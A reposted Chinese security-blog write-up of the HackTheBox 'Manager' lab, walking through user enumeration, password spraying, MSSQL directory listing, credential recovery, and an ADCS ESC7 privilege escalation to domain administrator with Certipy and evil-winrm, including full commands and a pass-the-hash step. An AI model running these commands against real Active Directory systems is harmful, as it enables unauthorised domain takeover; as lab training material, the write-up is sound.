ADCS利用之htb-manager通过ESC7获得域管权限
2023-12-14 20:57:49 Author: Z2O安全攻防(查看原文) 阅读量:17 收藏

点击上方[蓝字],关注我们

建议大家把公众号“Z2O安全攻防”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。

img

Keywords: rid bruteforce, mssql directory traversal with xp_dirtree, manageCA, pass the certificate, pass the ticket,ADCS-ESC7

端口扫描

nmap -sV -sC -A -Pn 10.10.11.236
image-20231123135322043

从扫描结果可以看出这是一台域控(dc01.manager.htb),Windows server2019,并且运行着sql server

绑定一下hosts

image-20231124113047880

域控机器的话,这里就不太去考虑web端的渗透了

因为开着445端口,可以先枚举一下域用户,方法很多,例如kerbrute通过kerberos认证返回值不同来枚举,也可以通过crackmapexec爆破rid

crackmapexec smb 10.10.11.236 -u guest -p '' --rid-brute
image-20231123151127641
Administrator
Guest
krbtgt
DC01$
Zhong
Cheng
Ryan
Raven
JinWoo
ChinHae
Operator

有了用户名,然后可以通过密码喷洒,看看能不能得到个账密。很多工具可以实现,这里还是直接用cme了

crackmapexec smb 10.10.11.236 -u user.txt -p pass.txt --no-brute
image-20231123152603705

有了一对账密了(operator/operator),但是我们只有一台域控机器,用这个 用户是执行不了命令的。

不过,这台机器上还运行着mssql,mssql也支持Windows凭据登录,我们试试能不能用这个账密去登录

使用impacket里面的mssqlclient.py去连接:

image-20231123163255002

但是权限不够,执行不了命令:

image-20231123163647792

翻数据库也没啥东西。使用xp_dirtree列了下目录

image-20231123165732725

web目录下有一个备份文件,下过来看看

image-20231123170645355
image-20231123171732182

在这个隐藏文件里看到了一个用户的账密[email protected]/R4v3nBe5tD3veloP3r!123

image-20231123171817140

然后尝试执行命令,smb方式被拒绝了,winrm可以执行

image-20231123173002350
image-20231123173022324

使用evil-winrm[1]搞一个shell回来

image-20231123175035632

拿到user flag

image-20231123175216347

whoami /all发现raven在“Certificate Service DCOM Access”组中,并且这台机器是ca机器

image-20231123180226263

用https://github.com/ly4k/Certipy检测一下有没有洞:

image-20231123185009204

ESC7是指用户拥有 CA 的“管理 CA”或“管理证书”访问权限,此访问权限可用于启用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志来执行 ESC6 攻击,具体怎么利用可以参考

https://github.com/ly4k/Certipy#esc7

https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

下面逐步利用:

1、创建一个officer ,这样才有权限请求、发布和执行证书相关任务

certipy ca -ca 'manager-DC01-CA' -add-officer raven -username [email protected] -password 'R4v3nBe5tD3veloP3r!123'
image-20231124113151026

2、启用证书模板并请求证书:接下来,启用一个特定的证书模板,并请求了一个具有提升权限的证书。通过这样做,我基本上获得了一个授予我额外访问权限的证书,这是特权升级过程中的一个关键步骤。

启用:

certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username [email protected] -password 'R4v3nBe5tD3veloP3r!123'
image-20231124113443849

请求证书:此请求将被拒绝,但我们将保存私钥并记录请求ID。

certipy req -username [email protected] -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn [email protected]
image-20231124113550235

3、签发所请求的证书:一旦证书请求被提交,我需要它被批准和签发。

certipy ca -ca 'manager-DC01-CA' -issue-request 25 -username [email protected] -password 'R4v3nBe5tD3veloP3r!123'

服务器会在一分钟内自动重置它的设置,所以让所有命令准备好快速执行是很重要的。

如果到这一步出错了,那就是超时了,需要重新执行一下 1、添加officer的命令

image-20231124132603775
image-20231124140019916

4、检索颁发的证书:证书颁发后,我检索它。这允许“raven”在本地拥有证书并使用它进行身份验证。

certipy req -username [email protected] -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 25
image-20231124140242977

5、用获得的证书进行认证得到域管票据和hash

通过证书传递攻击(PTC) 使用我们刚刚创建的管理员证书,生成一个kerberos tgt票据 和 管理员hash。

certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236
image-20231124144135421

如果报错1:

certipy-ad auth -pfx administrator.pfx -username administrator -domain manager.htb -dc-ip 10.10.11.236
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_BAD_INTEGRITY(Integrity check on decrypted field failed)

需要激活一个Python虚拟环境:

python3 -m venv /home/kali/name
source /home/kali/name/bin/activate

如果报错2:

certipy auth -pfx administrator.pfx  -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[-] Got error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Use -debug to print a stacktrace

为了使其工作,需要与dc时钟同步,以避免时钟偏差太大。这可以用ntpdate完成

sudo ntpdate -u 10.10.11.236

此时,我们可以拥有一个完整的交互式系统shell,或者传递管理员散列,或者传递tgt票证。要传递散列,可以使用psexec或类似的工具。

这里可以直接用evil-winrm

evil-winrm -i 10.10.11.236 -u administrator -H ae5064c2f62317332c88629e025924ef
image-20231124135105181

或者利用票据

image-20231124164004418

引用链接

[1] evil-winrm: https://github.com/Hackplayers/evil-winrm

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 480+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。(点我了解详情)

交流群

关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

点个【 在看 】,你最好看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247506430&idx=1&sn=9d41286b355e9cbecf14d22839422360&chksm=cf6f58cf1b66a55acaed1759eae2755a0bb942151f2c89ee2d6159168c8464f34401d0964872&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh